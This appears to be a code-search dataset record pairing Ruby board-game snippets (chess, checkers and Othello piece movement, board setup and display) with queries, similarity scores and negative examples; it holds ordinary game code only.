"def initializeBoard()\n\n # TO DO: COMPLETE THIS METHOD\n maxMid = @size / 2\n minMid = @size / 2 - 1\n for i in 0..size-1\n for j in 0..size-1\n if i == maxMid && j == maxMid\n @board[i][j] = \"B\"\n elsif i == minMid && j == minMid\n @board[i][j] = \"B\"\n elsif (i == minMid || i == maxMid) && (j == maxMid || j == minMid)\n @board[i][j] = \"W\"\n else\n @board[i][j] = \"-\";\n end\n end\n end\n end",
"def starting_pieces(color)\n #8 pieces total\n i = (color == :white) ? [0,1] : [6,7]\n\n 8.times do |j| #build back row pieces\n if (j+i[0]).odd?\n c = Piece.new(color, [i[0],j])\n @pieces << c\n end\n end\n\n 8.times do |j| #build front row pieces\n if (j+i[0]).even?\n c = Piece.new(color, [i[1],j])\n @pieces << c\n end\n end\n end",
"def white_moves(pieces)\n board = Chess_board.new.squares\n piece_positions = pieces.map { |piece| piece.position }\n row = @position[0]\n column = @position[1]\n \n all_checked = []\n [[row + 1,column - 1],[row + 1,column + 1]].each do |square| \n if piece_positions.include?(square)\n occupying_piece = pieces.find { |piece| piece.position == square }\n all_checked.push(square) if occupying_piece.color != @color\n end\n end\n if !piece_positions.include?([row + 1, column])\n all_checked.push([row + 1, column])\n all_checked.push([row + 2, column]) if !piece_positions.include?([row + 2, column]) && @moves == 0\n end\n all_checked\n end",
"def update_board \n\t@the_board = Board.new(array[0].position, array[1].position, array[2].position, array[3].position, array[4].position, array[5].position, array[6].position, array[7].position, array[8].position) \n\t@the_board.display \n end",
"def populate_black\n self[0,0] = Rook.new(:black, [0,0], self)\n self[0,1] = Knight.new(:black, [0,1], self)\n self[0,2] = Bishop.new(:black, [0,2], self)\n self[0,3] = King.new(:black, [0,3], self)\n self[0,4] = Queen.new(:black, [0,4], self)\n self[0,5] = Bishop.new(:black, [0,5], self)\n self[0,6] = Knight.new(:black, [0,6], self)\n self[0,7] = Rook.new(:black, [0,7], self)\n\n # self[1,0] = Pawn.new(:pawn, :black, [1,0], self)\n # self[1,1] = Pawn.new(:pawn, :black, [1,1], self)\n # self[1,2] = Pawn.new(:pawn, :black, [1,2], self)\n # self[1,3] = Pawn.new(:pawn, :black, [1,3], self)\n # self[1,4] = Pawn.new(:pawn, :black, [1,4], self)\n # self[1,5] = Pawn.new(:pawn, :black, [1,5], self)\n # self[1,6] = Pawn.new(:pawn, :black, [1,6], self)\n # self[1,7] = Pawn.new(:pawn, :black, [1,7], self)\n end",
"def starting_board\n init_rows([0, 2], :black)\n init_rows([5, 7], :red)\n end",
"def update()\n # Loops through each corrdinate of the board and asks it what\n # piece colour it has on it. print the piece colour to the screen.\n\n # A line connecting two spaces. This gets printed after a '|' in rows\n # that contain only these connecting lines (rows that cannot contain pieces)\n connection = \"\\\\\"\n\n # Board size is 9x5\n for i in (8).downto(0) do\n # If i is even, print number, and the pieces on the board.\n # Else: print a row of connecting lines\n if (i%2 == 0)\n # Print the number\n print (\"#{i/2} \")\n\n # Print the pieces on the board\n for j in 0..8 do\n piece = @current_board.get_board_hash(\"#{j},#{(i/2)}\") \n if (piece == :Black)\n print \"x\"\n elsif (piece == :White)\n print \"o\"\n else\n print \"+\"\n end\n\n if (j != 8)\n print \"-\"\n end\n end\n print \"\\n\"\n\n # print the connecting lines\n else\n print \" \"\n for j in 0..8 do\n # print a pair of connecting lines.\n # Rows do not end with a diagnol\n # connecting line. Print only\n # a \"|\" when that occurs\n if (j != 8)\n print \"|#{connection}\"\n else\n print \"|\"\n end\n\n # Toggle the diagonal connecting lines.\n # these lines do no toggle the final\n # time that they are printed in a row.\n if (j < 7)\n if (connection == \"\\\\\")\n connection = \"/\"\n else\n connection = \"\\\\\"\n end\n end\n end\n print \"\\n\"\n end\n end\n\n # Print the numbers column numbers at\n # the bottom of the board.\n print \" \"\n for i in 0..8\n print \" #{i}\"\n end\n print \"\\n\"\n end",
"def initBoard\n cellNum = 0\n while cellNum < (@columns * @rows)\n @board.push(rand < @genWeighting ? 1 : 0)\n cellNum += 1\n end\n @board\n end"
] | [
"0.8190161",
"0.8135816",
"0.79677683",
"0.7955456",
"0.7922005",
"0.77886903",
"0.77319306",
"0.77269506",
"0.77088875",
"0.7583956",
"0.75672823",
"0.7553201",
"0.75343597",
"0.75214475",
"0.7448395",
"0.7402488",
"0.739631",
"0.73707753",
"0.7357193",
"0.7320941",
"0.7313758",
"0.72923136",
"0.72789985",
"0.7204711",
"0.71785283",
"0.71683943",
"0.71624404",
"0.71584785",
"0.7134927",
"0.7127016",
"0.7120194",
"0.7116437",
"0.7104646",
"0.71005505",
"0.70933175",
"0.70446074",
"0.7041689",
"0.70223707",
"0.69996315",
"0.698779",
"0.69873846",
"0.6979345",
"0.6920418",
"0.69055146",
"0.6872191",
"0.6871323",
"0.68643343",
"0.6855026",
"0.6854915",
"0.6833139",
"0.68034726",
"0.6802813",
"0.6801447",
"0.67793226",
"0.67692864",
"0.67604005",
"0.6731068",
"0.6730953",
"0.67228085",
"0.6710522",
"0.66942185",
"0.6692719",
"0.669137",
"0.66845685",
"0.66790175",
"0.66636974",
"0.6653079",
"0.66491765",
"0.6629341",
"0.6614147",
"0.6608747",
"0.6600571",
"0.66005605",
"0.65984887",
"0.6594525",
"0.65896004",
"0.65851563",
"0.65801126",
"0.6572883",
"0.656652",
"0.65662324",
"0.65649754",
"0.65604395",
"0.65571606",
"0.65556407",
"0.6545896",
"0.65358764",
"0.65336293",
"0.6516559",
"0.6505659",
"0.65038425",
"0.6501934",
"0.64939946",
"0.64838934",
"0.648376",
"0.6479956",
"0.64764667",
"0.6474862",
"0.6474573",
"0.64719135"
] | 0.8264088 | 0 |
Moves a piece on the board to another position | def update start_row, start_col, end_row, end_col
temp = @board[start_row][start_col]
@board[start_row][start_col] = "[ ]"
@board[end_row][end_col] = temp
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def move_piece(coord)\n @game.move_piece_to(coord)\n end",
"def move_piece(from, to)\n return move_piece_in_square(@board[from], @board[to])\n end",
"def move_piece(from, to)\n return move_piece_in_square(@board[from], @board[to])\n end",
"def move(piece, column, row) \n piece.column = column\n piece.row = row\n @board[piece.column][piece.row] = piece\n end",
"def move_piece(from, to)\n piece = self.at(from)\n self.set_at(from, nil)\n self.set_at(to, piece)\n end",
"def move_piece(from, to)\n piece = @board[from[0]][from[1]]\n dest_piece = @board[to[0]][to[1]]\n\n dest_piece.player.pieces.delete(dest_piece) unless dest_piece.nil?\n @board[from[0]][from[1]] = nil\n @board[to[0]][to[1]] = piece\n \n piece.pos = [to[0], to[1]]\n end",
"def move_piece(from, to)\n\t\tmoving_piece = @board.squares[from]\n\t\tputs \"Moved #{moving_piece.owner.color} #{moving_piece.rank} from #{from} to #{to}\"\n\t\tif @board.squares[to]\n\t\t\tcaptured_piece = @board.squares[to]\n\t\t\tputs \"Captured #{captured_piece.owner.color} #{captured_piece.rank}\"\n\t\tend\n\t\t@board.squares[to] = moving_piece\n\t\t@board.squares[from] = nil\n\tend",
"def move_piece!(from_pos, to_pos)\n piece = self[from_pos]\n raise 'piece cannot move like that' unless piece.moves.include?(to_pos)\n\n piece.prev_pos = from_pos\n piece.moved_during_match ||= true\n\n self[to_pos] = piece\n self[from_pos] = nil\n piece.pos = to_pos\n\n nil\n end",
"def move_piece(row_new = @row_new, col_new = @col_new, row = @row, col = @col)\n @chess_board.board[row_new][col_new] = @chess_board.board[row][col]\n end",
"def move_piece(start_pos,end_pos)\n begin \n raise \"No piece here to move\" if grid[start_pos[0]][start_pos[1]].nil?\n raise \"Can't move to this spot\" if end_pos[0] > 7 || end_pos[0] < 0 || end_pos[1] > 7 || end_pos[1] < 0 \n self[start_pos], self[end_pos] = self[end_pos],self[start_pos]\n end\n end",
"def move_piece!(color, from, to)\n raise \"There is no piece in that square\" if from.empty?\n raise \"Moving onto your own piece\" if color == self[to].color\n\n taken_piece = self[to].dup unless self[to].symbol == :n\n self[to] = NullPiece.instance # \"Take\" opponent's pieces\n self[from].pos = to\n self[from], self[to] = self[to], self[from]\n\n taken_piece\n end",
"def move_piece(from, to)\n raise 'needs implementation'\n end",
"def move_piece_back\n @chess_board.board[@row][@col] = @chess_board.board[@row_new][@col_new]\n end",
"def move(piece, offset)\n raise 'Board already complete' if full?\n raise 'Square already occupied' unless @board[offset].nil?\n raise 'Game is over' unless @state == STATE_OK\n raise 'Not your turn' if piece == @last_piece_moved\n\n new_piece_array = @board.dup\n new_piece_array[offset] = piece\n Board.new(new_piece_array, piece, @computers_piece)\n end",
"def move(dest, crown?) # called in :turn > active_piece.move()\n # updates dest in board array\n # updates piece with new coordinates\n # updates jumped pieces?\nend",
"def move_piece(from_row, from_column, to_row, to_column)\n piece = @state[from_row][from_column] \n new_location = [to_row, to_column]\n @state[to_row][to_column] = piece.class.new(piece.color, new_location)\n @state[from_row][from_column] = nil\n \n moved_piece = @state[to_row][to_column]\n if moved_piece.class == Pawn\n special_pawn_rules(moved_piece, from_row, to_column)\n end\n # Once a move has been made, disallow\n disallow_all_en_passant(piece.color) # taking en_passant on enemy pawns \n end",
"def move_to!(new_x, new_y)\n transaction do\n raise ArgumentError, \"#{type} has not moved.\" unless real_move?(new_x, new_y)\n occupying_piece = game.get_piece_at_coor(new_x, new_y)\n raise ArgumentError, 'That is an invalid move. Cannot capture your own piece.' if same_color?(occupying_piece)\n capture_piece!(occupying_piece) if square_occupied?(new_x, new_y)\n update(x_position: new_x, y_position: new_y)\n end\n end",
"def move_value(from,to)\n #add that piece to location 'to'\n @board[to.first][to.last].chess_piece = get(from.first,from.last)\n #remove piece in location 'from'\n @board[from.first][from.last].chess_piece = nil\n end",
"def move_pieces(move_pos)\n current_pos, next_pos = move_pos\n\n @board[next_pos[0]][next_pos[1]] = @board[current_pos[0]][current_pos[1]]\n @board[current_pos[0]][current_pos[1]] = nil\n end",
"def move_pieces(move_pos)\n current_pos, next_pos = move_pos\n\n @board[next_pos[0]][next_pos[1]] = @board[current_pos[0]][current_pos[1]]\n @board[current_pos[0]][current_pos[1]] = nil\n end",
"def move_piece(position, origin, destination)\n # verbose way\n ro, co = origin\n piece = position[ro][co]\n position[ro][co] = EMPTY_SQUARE\n rd, cd = destination\n position[rd][cd] = piece\n # original way\n # piece = square_at(origin)\n # square_at(origin) = '_'\n # square_at(destination) = piece\n piece.location = destination\n piece.first_move if piece.is_a?(Pawn)\n position\n end",
"def move_piece(piece, start_arr, finish_arr)\n\t\tputs \"#{piece} at #{start_arr} moves to #{finish_arr}.\"\n\t\t@board[finish_arr] = @board[start_arr]\n\t\t@board[start_arr] = \"*\"\t\t\n\tend",
"def move_piece(start_pos,end_pos)\n # debugger\n raise \"No piece at start position\" if self[start_pos].is_a?(NullPiece)\n raise \"Piece can not move there\" unless valid_move?(start_pos)\n current_piece = self[start_pos]\n\n self[end_pos] = current_piece\n self[start_pos] = NullPiece.instance\n end",
"def move_piece fr, fc, tr, tc\r\n puts \"Moving X from #{fr}, #{fc} to #{tr}, #{tc}\"\r\n current = @board[fr][fc]\r\n @board[fr][fc]= 0\r\n @board[tr][tc]=current\r\n\r\n end",
"def move_piece!(start_pos,end_pos)\n piece=self[start_pos]\n raise 'Piece cannot move like that' unless piece.moves.include?(end_pos)\n self[end_pos]=piece\n self[start_pos]=sentinel\n piece.pos=end_pos\n nil\n end",
"def make_move start_pos, end_pos\n piece = get_board_piece(start_pos)\n @board[end_pos[0]][end_pos[1]] = piece\n piece.position = end_pos\n @board[start_pos[0]][start_pos[1]] = nil\n end",
"def move_piece(org,dest)\n # remove catured piece if capture move\n if (dest[0] - org[0]).abs == 2\n captured_box = [org[0] + (dest[0]-org[0])/2 , org[1] + (dest[1]-org[1])/2]\n @pieces[captured_box[0]][captured_box[1]].remove\n end\n\n @pieces[org[0]][org[1]].remove\n @pieces[dest[0]][dest[1]] = draw_piece(dest[0],dest[1],@board.state[dest[0]][dest[1]])\nend",
"def move(from, to, left_behind = ' ')\n piece = board[from[0]][from[1]]\n piece.position = [to[0], to[1]]\n piece.n = 0\n board[from[0]][from[1]] = left_behind\n board[to[0]][to[1]] = piece\n end",
"def move_piece!(start_pos, end_pos)\n piece = self[start_pos]\n raise 'piece cannot move like that' unless piece.moves.include?(end_pos)\n\n self[end_pos] = piece\n self[start_pos] = sentinel\n piece.pos = end_pos\n\n nil\n end",
"def move_piece!(start_pos, end_pos)\n piece = self[start_pos]\n raise 'piece cannot move like that' unless piece.moves.include?(end_pos)\n\n self[end_pos] = piece\n self[start_pos] = sentinel\n piece.pos = end_pos\n\n nil\n end",
"def move\n puts \"The computer is playing...\".cyan\n sleep(0.5) #computer \"thinks\" for half a second, this seemed more realistic\n return if @game.game_over?\n space = (@game.available_moves & [1,3,5,7,9]).first\n if space.nil? \n space = @game.available_moves.first\n end\n @game.place_piece(space, @piece)\n end",
"def move(current_position, desired_square)\n board.move(current_position, desired_square, current_player)\n end",
"def perform_move(move)\n @board[*move] = self\n @board[*@location] = nil\n @location = move\n @king = true if in_end_row?\n move\n end",
"def move!(move)\n from = move[0]\n to = move[1]\n piece = self[from]\n\n #puts 'Moving piece from ' + from.to_s + ' to ' + to.to_s\n\n clear!(to)\n self[to] = piece\n self[from] = nil\n\n self\n end",
"def move_piece(candidate_board, start, finish)\n piece = candidate_board[start]\n \n original_position = piece.position\n \n candidate_board[start] = nil\n \n piece.position = finish\n \n captured_piece = candidate_board.occupied?(finish) ? remove_captured_piece(candidate_board[finish]) : nil\n \n candidate_board[finish] = piece #finish position now contains the new piece\n\n look_ahead(candidate_board, piece, captured_piece, original_position) if self.is_virtual?(candidate_board)\n end",
"def move(board)\n end",
"def move_piece!(start_pos, end_pos)\n null = NullPiece.instance\n if self[start_pos].class == King\n if self[start_pos].color == :black\n @black_king_pos = end_pos\n else\n @white_king_pos = end_pos\n end\n end\n if pawn_promotion?(start_pos, end_pos)\n color = self[start_pos].color\n self[start_pos] = null\n Queen.new(self, end_pos, color)\n else\n self[start_pos].pos = end_pos\n self[end_pos], self[start_pos] = self[start_pos], null\n end\n end",
"def move_to(x, y); end",
"def move_player (start, stop, piece)\r\n $board[stop[0]][stop[1]] = piece\r\n $board[start[0]][start[1]] = nil \r\n $board[stop[0]][stop[1]].turn += 1\r\n @prev_coord= [stop[0], stop[1]]\r\n @prev_delta_y = (stop[1] - start[1]).abs\r\n if piece.class == Pawn and (stop[1] == 7 or stop[1] == 0)\r\n promotion(stop, piece)\r\n end \r\n end",
"def move_friendly_piece(x,y)\n update_attributes(position_x: x, position_y: y)\n end",
"def move_friendly_piece(x,y)\n update_attributes(position_x: x, position_y: y)\n end",
"def move_piece(position_array)\n\n old_position = position_array[0]\n piece_to_move = board_obj.board[old_position[0]][old_position[1]]\n\n castling_move(position_array) if piece_to_move.instance_of?(King)\n pawn_move_two(position_array) if piece_to_move.instance_of?(Pawn)\n\n board_obj.board[old_position[0]][old_position[1]] = \" \"\n\n new_position = position_array[1]\n\n piece_to_move.new_position(new_position)\n new_square = board_obj.board[new_position[0]][new_position[1]]\n\n if enpassant_square(new_position)\n rank = new_position[0]\n file = new_position[1]\n\n adjust = piece_to_move.colour == 'WHITE' ? -1 : 1\n if board_obj.board[rank + adjust][file].instance_of?(Pawn)\n remove_piece(board_obj.board[rank+adjust][file])\n board_obj.board[rank + adjust][file] = ' '\n end\n\n end\n\n if new_square != \" \"\n remove_piece(new_square)\n @piece_taken = true\n else\n @piece_taken = false\n end\n\n board_obj.board[new_position[0]][new_position[1]] = piece_to_move\n end",
"def move_to!(new_x, new_y, real_move = true)\n return false unless game.current_player == color\n return false unless valid_move?(new_x, new_y)\n\n if (destination_piece = game.piece_at(new_x, new_y))\n return capture_piece!(new_x, new_y, destination_piece, real_move)\n end\n\n update_piece_attributes(new_x, new_y, real_move)\n end",
"def move_piece_in_square(from_square, to_square)\n to_square.checker_piece = from_square.checker_piece\n from_square.checker_piece = nil\n end",
"def move_piece_in_square(from_square, to_square)\n to_square.checker_piece = from_square.checker_piece\n from_square.checker_piece = nil\n end",
"def move(board, position , player= \"X\" )\n\tposition = position.to_i\n\tboard[position -1] = player\n\tdisplay_board(board)\nend",
"def place_piece piece, position\n @board[@@ROWS.index(position[0])][@@COLUMNS.index(position[1])] = piece\n end",
"def move pos\n new_board = nil\n next_player = @current_player == :x ? :o : :x\n new_board = @board.make_move @current_player, pos\n State.new new_board, next_player, @computer_player\n end",
"def move(position, player=current_player)\n position = position.to_i\n @board[position-1]=player\n end",
"def move_piece2(from, to)\n # validate moves, if okay then move\n #\n #\n\n if get_piece(from[0], from[1]).valid_moves.include?(to)\n\n #piece_next_location = piece_current_location\n# get_piece(to[0], to[1]) = get_piece(from[0], from[1])\n #piece_current_location = nil\n# get_piece(from[0], from[1]) = nil\n else\n puts \"Invalid move, try again\"\n end\n end",
"def go!\n send_position_to_engine\n move_piece(bestmove)\n end",
"def movePiece(piece, newLocation)\n if piece.instance_of?(Piece) && newLocation.instance_of?(Location)\n if newLocation.isEmpty\n if piece.location != nil\n piece.location.removePiece\n end\n newLocation.addPiece(piece)\n piece.location = newLocation\n end\n end\n end",
"def move(board, position, player=current_player(board))\n position = position.to_i\n board[position-1]=player\nend",
"def move_piece(board, move)\n # norm: <file_start><rank_start></file_end><rank_end>\n file_start = move.notation[0]\n rank_start = move.notation[1].to_i\n file_end = move.notation[2]\n rank_end = move.notation[3].to_i\n board[file_end][rank_end - 1] = board[file_start][rank_start - 1]\n board[file_start][rank_start - 1] = nil\n\n board\n end",
"def apply_move piece, origin, dest\n node_at(origin).remove_piece\n\n dest_node = node_at(dest)\n dest_node.piece_captured_by(piece) if dest_node.occupied?\n dest_node.update_piece piece\n @last_move = { piece: piece, origin: origin, dest: dest }\n end",
"def move!(end_pos)\n board.remove_piece(pos)\n\n if (pos[0] - end_pos[0]).abs == 2\n board.remove_piece(jumped_place(end_pos))\n end\n\n self.pos = end_pos\n board.place_piece(self, end_pos)\n\n maybe_promote\n end",
"def move_piece(start_pos, end_pos)\n if self[start_pos].is_a?(NullPiece)\n raise StandardError.new(\"There is no piece at this start position\")\n end\n unless valid_pos?(end_pos)\n raise StandardError.new(\"End position does not exist\")\n end\n\n current_piece = self[start_pos]\n self[end_pos] = current_piece\n self[start_pos] = NullPiece.new\n end",
"def move(board,position,choice=\"X\")\n iPosition = position.to_i\n board[iPosition-1] = choice\nend",
"def perform_chess_move(chess_move, chessboard)\n # If destination cells contains a chess piece, overwrite it\n chessboard.reposition(chess_move.from, chess_move.to)\n end",
"def move(board, location, char=\"X\")\n location = location.to_i\n board[location - 1] = char\nend",
"def move(board, position, current_player= \"X\")\n board[position.to_i - 1] = current_player\nend",
"def move(board, position, current_player)\n board[position] = current_player\nend",
"def move(board, pos, mark=\"X\")\n board[pos.to_i-1] = mark\nend",
"def move!(start_pos, end_pos)\n #save removed piece and then remove it\n @removed_pieces << self[end_pos]\n self[end_pos] = NullPiece.instance\n\n self[start_pos], self[end_pos] = self[end_pos], self[start_pos]\n\n self[end_pos].position = end_pos\n end",
"def move_piece(start_pos, end_pos)\n raise InvalidMoveError unless valid_move?(start_pos, end_pos)\n if capture_move?(start_pos, end_pos)\n self[end_pos] = self[start_pos]\n self[start_pos] = NullPiece.instance\n else\n self[end_pos], self[start_pos] = self[start_pos], self[end_pos]\n end\n self[end_pos].pos = end_pos\n end",
"def move_piece(move)\n curr_piece = @board[move[0]]\n if curr_piece.non_check_moves.include?(move[1])\n #if en passant, remove captured piece\n if curr_piece.class == Pawn\n #puts curr_piece.can_en_passant?\n #puts \"HELKFDSJLFKD\"\n if curr_piece.can_en_passant?\n #puts \"HOMFDMSKFDFLSJFKDSLFJSDKLF JDSFKLSJFKLEJ FE FJSKLF\"\n rank = move[0][0]\n col = move[1][1]\n captured_pawn_pos = [rank,col]\n #puts captured_pawn_pos.inspect\n @board[captured_pawn_pos] = nil\n end\n end\n @board[move[1]] = curr_piece\n @board[move[0]] = nil\n curr_piece.move_history << move\n curr_piece.pos = move[1]\n #if castling, move rook too\n if curr_piece.class == King && (move[0][1] - move[1][1]).abs == 2\n #find the appropriate rook to move\n start_rank = move[0][0]\n start_file = move[1][1] == 2 ? 0 : 7\n start_pos = [start_rank, start_file]\n rook = @board[start_pos]\n #determine its final location, then move it.\n end_file = start_file == 0 ? 3 : 5\n end_pos = [start_rank, end_file]\n @board[end_pos] = rook\n @board[start_pos] = nil\n rook.move_history << end_pos\n rook.pos = end_pos\n end\n return true\n else\n puts \"Your king is still in check!\" if @board.in_check?(curr_piece.color)\n puts \"Not a legal move for this #{curr_piece.color} #{curr_piece.class}!\"\n puts\n return false\n end\n end",
"def move_to to\n\t\td = Distance.get( @square, to)\n\t\tmove d.dir( @square), to\n\tend",
"def move(position, char)\n @board[position] = char\n end",
"def move(board , location , player_character = \"X\")\n location = location.to_i\n board[location-1] = player_character\n return board\nend",
"def move(board , location , player_character = \"X\")\n location = location.to_i\n board[location-1] = player_character\n return board\nend",
"def move_piece!(start_pos, end_pos)\r\n piece = piece(start_pos)\r\n\r\n raise IlligalMoveForPieceError.new(\r\n \"Hold on there, a #{piece.class.name} cannot move like that.\"\r\n ) unless piece.moves.include?(end_pos)\r\n\r\n self[end_pos] = piece\r\n self[start_pos] = NullPiece.instance\r\n piece.pos = end_pos\r\n nil\r\n end",
"def pawn_move\n position_index = Generic.find_square_index(en_passant_move, board)\n\n colour == 'White' ? pawn_move_white(position_index) : pawn_move_black(position_index)\n end",
"def move board\n free_pieces = board.free_pieces\n piece = free_pieces.random\n moves = board.possible_moves(piece)\n return [piece.x, piece.y], moves.random \n end",
"def move_to(piece)\r\n cols = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h']\r\n rows = [1, 2, 3, 4, 5, 6, 7, 8]\r\n counter = 0; x = ''; y = ''\r\n until counter == 1\r\n print \"Enter destination coordinates: \"\r\n coordinate = STDIN.gets.chomp\r\n x = coordinate[0]; y = coordinate[1].to_i\r\n counter+=1 if ((cols.include? x) && (rows.include? y))\r\n end\r\n puts ''\r\n puts \"#{piece.class} to #{x}#{y}.\"\r\n stop = []\r\n stop[0] = cols.index(x)\r\n stop[1] = rows.index(y)\r\n stop \r\n end",
"def move!(start, end_pos)\n # move without checking if it puts you in check\n old_x, old_y = start\n new_x, new_y = end_pos\n piece = @board[old_x][old_y]\n piece.position = end_pos\n \n # update board\n @board[new_x][new_y] = piece\n @board[old_x][old_y] = nil\n end",
"def move(board, location, current_player = \"X\")\n board[location.to_i-1] = current_player\nend",
"def move(board, location, current_player = \"X\")\n board[location.to_i-1] = current_player\nend",
"def move(board, position, char)\n board[position] = char\nend",
"def move(board, position, char)\n board[position] = char\nend",
"def play_move(from, to)\n #create duplicate of board, to correct pass by reference error\n #add top disk on from tower to the top of to tower\n to_dup = @board[to].dup\n to_dup.unshift(@board[from][0]) \n @board[to] = to_dup\n @board[from].shift\n \n if won?\n render\n puts \"congratulations you won!\\n\\n\"\n else\n get_move\n end\n end",
"def move(board, position, current_player = \"X\")\n board[position.to_i-1] = current_player\nend",
"def set_piece(player,location) #takes the arguments player and location\n\t\t@piece=player.piece #defines piece as the player's number (either 1 or 2)\n\t\trow=(location-1)/4 #takes the value of location (1-16) and converts it into a row coordinate 0, 1, 2, or 3\n\t\tcolumn=(location+3)%4 #takes the value of location (1-16) and converts it into a column coordinate 0, 1, 2, or 3\n\t\t@board[row][column]=@piece #defines the cell that the player has just selected as the player's number (1 or 2)\n\t\t@size+=1 #we count each move after its been made which is used in the function below, check_full?\n\tend",
"def make_move(left,top)\n # get destination selected\n dest = get_clicked_box(left,top)\n # try to make the move on the board; @game.user_move returns false if move is not allowed\n if @game.user_move(@selected_piece, dest)\n # move the piece on the GUI boars\n move_piece(@selected_piece,dest)\n de_highlight(@selected_piece)\n deselect_piece\n # switch player turn after the move\n @game.switch_turn\n else\n # if move not allowed deselect and de highlight the piece\n de_highlight(@selected_piece)\n deselect_piece\n end\nend",
"def turn\n most_recent_move = current_player.move(@board)\n if !@board.valid_move?(most_recent_move)\n turn\n else\n @board.update(most_recent_move, current_player)\n end\n end",
"def move!(start_pos, end_pos, cur_player_color)\n if self[start_pos] == nil\n raise StandardError.new(\"no piece in starting position\")\n end\n unless self[start_pos].color == cur_player_color\n raise StandardError.new(\"cannot move enemy piece\")\n end\n piece = self[start_pos]\n if !piece.moves.include?(end_pos)\n raise StandardError.new(\"piece cannot move to end location\")\n end\n\n self[start_pos] = nil\n self[end_pos] = piece\n\n piece.update_position(end_pos)\n end",
"def perform_move(move)\n start_location = move[0]\n destination = move[1]\n i,j = start_location\n a,b = destination\n jumped = false\n #unless on_board?(destination)\n #raise error\n\n piece = @rows[i][j]\n all_possible_moves = piece.slide_moves(@rows) + piece.jump_moves(@rows)\n\n unless !all_possible_moves.include?(destination)#change to throw error\n\n jump = piece.jump_moves(@rows)\n if jump.include?(destination)\n jumped = true\n #removes jumped piece from board\n add = (piece.color == :white ? -1 : 1)\n if destination[1] > start_location[1]\n middle_b = destination[1] - 1\n middle_a = destination[0] + add\n delete_piece = @rows[middle_a][middle_b]\n delete_piece.location = nil\n @rows[middle_a][middle_b] = nil\n else\n middle_b = destination[1] + 1\n middle_a = destination[0] + add\n delete_piece = @rows[middle_a][middle_b]\n delete_piece.location = nil\n @rows[middle_a][middle_b] = nil\n end\n end\n\n @rows[i][j] = nil\n piece.location = [a,b]\n @rows[a][b] = piece\n end\n #checks if moved piece should be kinged, if so sets king to true\n piece.make_king\n if jumped\n #go_again unless (@rows[a][b]).jump_moves(@rows).nil?\n end\n end",
"def move(move_position, player=\"X\")\n @board[move_position] = player\n end",
"def place_piece piece_id, r, c\r\n puts \"Placing a #{piece_id} at #{r}, #{c}\"\r\n @board[r][c]= piece_id\r\n end",
"def move!(target)\n @board[@pos] = nil\n @pos = target \n @board[@pos] = self\n true\n end",
"def move(x,y)\n self.dup.move!(x,y)\n end",
"def move(board)\n \trandom_move(board)\n\tend",
"def do_the_move(argument)\r\n color, row_s, col_s, row_e, col_e = strip_pos_argument(argument)\r\n start_item = @infosquare[row_s][col_s]\r\n end_item = @infosquare[row_e][col_e]\r\n if movetype == :shortcastle or movetype ==:longcastle\r\n move_castle(start_item, end_item)\r\n elsif movetype == :enpassant\r\n col_enp = end_item.col\r\n row_enp = start_item.row\r\n eated_item = @infosquare[row_enp][col_enp]\r\n eated_item.clear\r\n else\r\n BoardInfoItem.exchange(start_item, end_item)\r\n end\r\n @last_moved_item = end_item\r\n \r\n end",
"def move_to(r,c)\n @move_count += 1\n mv = @game_board[r,c]\n @game_board[r,c]=@game_board.element(*@rc)\n @game_board.set_element(*@rc,mv+1)\n @rc=[r,c]\n end",
"def move(position,token=\"X\")\n position=position.to_i - 1\n @board[position]=token\n end",
"def user_move(start, finish)\n start , finish = Board.pos_to_coord(start), Board.pos_to_coord(finish)\n self[finish] = self[start]\n self[start] = NullPiece.instance\n self[finish].position = finish\n end",
"def move(board)\nend",
"def update_move(board, player, position)\n\tboard[position.to_i - 1] = player\n\tboard\nend",
"def move (board, position, character = \"X\")\n board[(position.to_i - 1)] = character\n return board\nend",
"def make_move(move)\n\t\t@board[move]= $current_player\n\tend",
"def move_to(row, col)\n @row, @col = wrap(row, col)\n end",
"def set_move(player, square_number)\n board_iterate do |element, row, col|\n @board[row][col] = player.piece if element == square_number\n end\n end"
] | [
"0.84438235",
"0.82677084",
"0.82677084",
"0.81274575",
"0.8113834",
"0.8054586",
"0.7959958",
"0.79268324",
"0.79067785",
"0.77974904",
"0.7783174",
"0.7770978",
"0.77225035",
"0.77203166",
"0.77021635",
"0.7683577",
"0.76742387",
"0.7627395",
"0.7625297",
"0.7625297",
"0.7607836",
"0.7600795",
"0.7597009",
"0.7573563",
"0.75655836",
"0.75489736",
"0.75384355",
"0.7537794",
"0.75355995",
"0.75355995",
"0.74869514",
"0.742805",
"0.7409348",
"0.7399872",
"0.73787045",
"0.737379",
"0.73700243",
"0.73691547",
"0.7360214",
"0.7331563",
"0.7331563",
"0.7322506",
"0.7294639",
"0.7290726",
"0.7290726",
"0.72783726",
"0.7276302",
"0.7247991",
"0.7240712",
"0.72389674",
"0.7231086",
"0.7215115",
"0.7207239",
"0.7199824",
"0.7187509",
"0.7185509",
"0.71853226",
"0.71786267",
"0.712839",
"0.71217746",
"0.7110052",
"0.70947516",
"0.70825034",
"0.7071456",
"0.7071378",
"0.707045",
"0.7062436",
"0.70595044",
"0.7051092",
"0.7051092",
"0.70461667",
"0.70445484",
"0.70422244",
"0.7038711",
"0.7033466",
"0.7031644",
"0.7031644",
"0.7027261",
"0.7027261",
"0.70197594",
"0.7018501",
"0.7011168",
"0.7005157",
"0.70041746",
"0.7001224",
"0.70011556",
"0.69959843",
"0.69930786",
"0.69815785",
"0.6965857",
"0.69652224",
"0.696458",
"0.696129",
"0.6959757",
"0.69517386",
"0.69428855",
"0.6926573",
"0.69252545",
"0.6917746",
"0.69176894",
"0.6914588"
] | 0.0 | -1 |
Formats and displays the game board | def display
puts " 0 1 2 3 4 5 6 7 "
puts "#{format}"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
